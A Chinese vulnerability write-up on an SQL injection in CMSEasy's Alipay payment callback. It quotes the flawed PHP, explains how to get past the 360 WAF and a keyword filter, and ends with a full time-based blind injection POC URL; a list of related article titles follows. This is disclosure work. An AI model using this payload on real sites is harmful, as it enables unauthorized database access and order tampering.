首先还是老地方:archive_act.php(611行)

function respond_action() {

include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';

$payclassname = front::$get['code'];

$payobj = new $payclassname();

$uri = $_SERVER["REQUEST_URI"];

$__uriget = strstr($uri, '?');

$__uriget = str_replace('?', '', $__uriget);

$__uriget = explode('&', $__uriget);

$_GET = array();

foreach ($__uriget as $key => $val) {

$tmp = explode('=', $val);

$_GET[$tmp[0]] = $tmp[1];

if(preg_match('/\'|select|union|"/i', $tmp1)){

exit('非法参数');

}

}

file_put_contents('logs11.txt', var_export($_GET,true));

$status = $payobj->respond();

if ($status) {

echo '';

front::refresh(url('archive/orders/oid/' . front::get('subject'), true));

} else {

echo '';

front::refresh(url('archive/orders/oid/' . front::get('subject'), true));

}

}

$tmp1与$tmp[1]开发人员一时犯糊涂,没看清,导致无效过滤。而且这里get参数进行了重组,从$_SERVER["REQUEST_URI"]分割获取,多此一举,还导致之前的过滤全部无效,这边过滤又失效。

通过front::$get['code'] 可以控制需要加载的pay文件,

再看文件: alipay.php:

function respond() {

if (!empty($_POST)) {

foreach($_POST as $key =>$data) {

if(preg_match('/(=||\')/', $data)){

return false;

}

$_GET[$key] = $data;

}

}

$payment = pay::get_payment($_GET['code']);

$seller_email = rawurldecode($_GET['seller_email']);

$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);

$order_sn = trim($order_sn);

if (!pay::check_money($order_sn,$_GET['total_fee'])) {

return false;

}

if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {

pay::changeorders($order_sn,$_GET);

return true;

}else {

return false;

}

}

控制参数trade_status=WAIT_SELLER_SEND_GOODS, 进入pay::changeorders($order_sn,$_GET);

public static function changeorders($id,$orderlog) {

//file_put_contents('logs.txt', $id);

$where=array();

$where['id']=$id;

$where['status']=4;

//$where['orderlog']=serialize($orderlog);

$update=orders::getInstance()->rec_update($where,$id);

if($update<1) {

exit('改变订单状态出错,请联系管理员');

}

}

在这里 $id 就是之前$order_sn,可以直接由get参数控制。

进入这个方法:$update=orders::getInstance()->rec_update($where,$id);

function rec_update($row,$where) {

$tbname=$this->name;

$sql=$this->sql_update($tbname,$row,$where);

//echo $sql."
";

return $this->query_unbuffered($sql);

}

这里程序员又犯糊涂了, rec_update的方法 where变量明显是第二个参数,传入的时候居然$where放到了第一个参数(这个程序员开了吧!),这样$id值就被当做sql语句的条件了。

好吧 开始绕waf:

首先是360的waf: 检测了好多危险函数,更可恶的全局过滤单引号,看到就杀。但是$order_sn 直接被带入到了where后面 根本不需要单引号,不起作用, 在之前的方法中有一个:

$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);

这样利用替换功能,在危险函数中间都插入^, 再把subject设置成^,就可以成功绕过360waf。

接下来在sql语句执行的时候又有一个过滤器:

if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){

//echo $condition;

exit('sql inject');

}

由于是update注入,又不能显示错误,sleep被过滤,只能用BENCHMARK。

又过滤了if,只能用or。

get参数又是从querystring中直接过去,空格会被替换成%20,所有只能用/**/替换:

最终的POC:(延时盲注法,稍微改动下

http://**.**.**/cmseasy/index.phpcase=archive&act=respond&code=alipay&subject=^&out_trade_no=ord(sub^str(datab^ase(),1,1))/^**^/not/^**^/in/^**^/(99)/^**^/or/^**^/BEN^CHMARK(100000000,md5(1))&trade_status=WAIT_SELLER_SEND_GOODS

360 php waf,cmseasy 最新版补丁绕过sql注入(绕过360waf)相关推荐

  1. 黑客常用SQL注入绕过技术总结!

    今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞,使我们的系统更加健壮, ...

  2. sql注入绕过姿势--骚姿势大全

    项目地址 https://github.com/Junehck/SQL-injection-bypass 项目介绍 记录实战中的各种sql注入绕过姿势, 文章并不是完整的仅提取出byapss部分, 如 ...

  3. 黑客常用SQL注入绕过技术总结!(冰河吐血整理,建议收藏)

    大家好,我是冰河~~ 今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞, ...

  4. SQL注入绕过安全狗

    SQL注入绕过安全狗 前期知识 黑名单 演示开始 内联注释绕过 模糊查询绕过 查询数据库用户名和表信息 前期知识 网站安全狗是一款集网站内容安全防护.网站资源保护及网站流量保护功能为一体的服务器工具, ...

  5. 安全狗SQL注入绕过

    安全狗SQL注入绕过 本文用sqli-labs第一关为例 一.简单注入 开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了 1' and 1=1 %23 寻找被安全狗匹配的特征字符,这里没被拦 ...

  6. sql注释符注入防御_WAF的SQL注入绕过手段和防御技术

    一.关于SQL注入 SQL注入是一种常见的入侵WEB应用的手法.SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的. 攻击者向Web应用发送精心构造的输入数 ...

  7. php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...

  8. mysql注入 xfkxfk_WSS最新版多处SQL注入直接获取数据三(官方demo演示及快速定位漏洞技巧)...

    ### 简要描述: WSS最新版多处SQL注入直接获取数据三,官方demo演示,这里存在多处,对同一问题进行总结 ### 详细说明: WSS最新版1.3.2,这里存在多处,并对此同一问题进行总结,以及 ...

  9. SQL注入绕过(passby)策略

    SQL注入绕过技巧 空格绕过 注释符/* */,%a0,%0a 括号绕过空格 select(user())from dual where(1=1)and(2=2) 引号绕过 采用16进制编码绕过,例如 ...

最新文章

  1. Linux下Flash-LED的处理
  2. HTTP POST GET 区别详解
  3. JVM盘点家底查看初始默认值
  4. 计算机在外语专业中有哪些应用,CALL(3):计算机在外语教学中的应用
  5. 共享内存---shmget shmat shmdt
  6. 为什么回归问题用MSE?
  7. C++和Java函数传递数组参数比较
  8. java一对一关系_Java初学者疑难杂症之:一对一和一对多的关系
  9. linux搭建博客Day1
  10. 2021 年百度之星·程序设计大赛 - 复赛 1001 Palindrome(结论,奇偶性)
  11. 挑战程序设计竞赛2 算法与数据结构 笔记
  12. 英语16种时态表和人称表
  13. 诗画丽水 文化传承 萌娃上演宋韵国风非遗主题秀
  14. 基于OpenCV的 桌面手机的尺寸测量
  15. linux系统文件夹(转)
  16. 程序员也要学英语——印欧语音变规律总结
  17. 小米电视1代上半屏背光闪的问题解决
  18. 同步和异步通信的异同
  19. ffmpeg截取视频内容和批量处理视频
  20. 计算机桌面东西都没有了怎么办,电脑更新后桌面东西都没有了怎么办

热门文章

  1. 自定义信笺纸样式的EditText
  2. GTX 1060 3GB 能否使用DeepFaceLab ?
  3. java cacti_cacti监控安装
  4. 数据结构期末考试题库
  5. 极限学习机(Extreme Learning Machine)概述
  6. 快速删除Excel文本中的空格
  7. Android自定义Style
  8. 中专学历自学前端找工作?也太真实了。。。
  9. ffmepg.exe使用的例子
  10. centos7 eth1网卡无IP属性,设置IP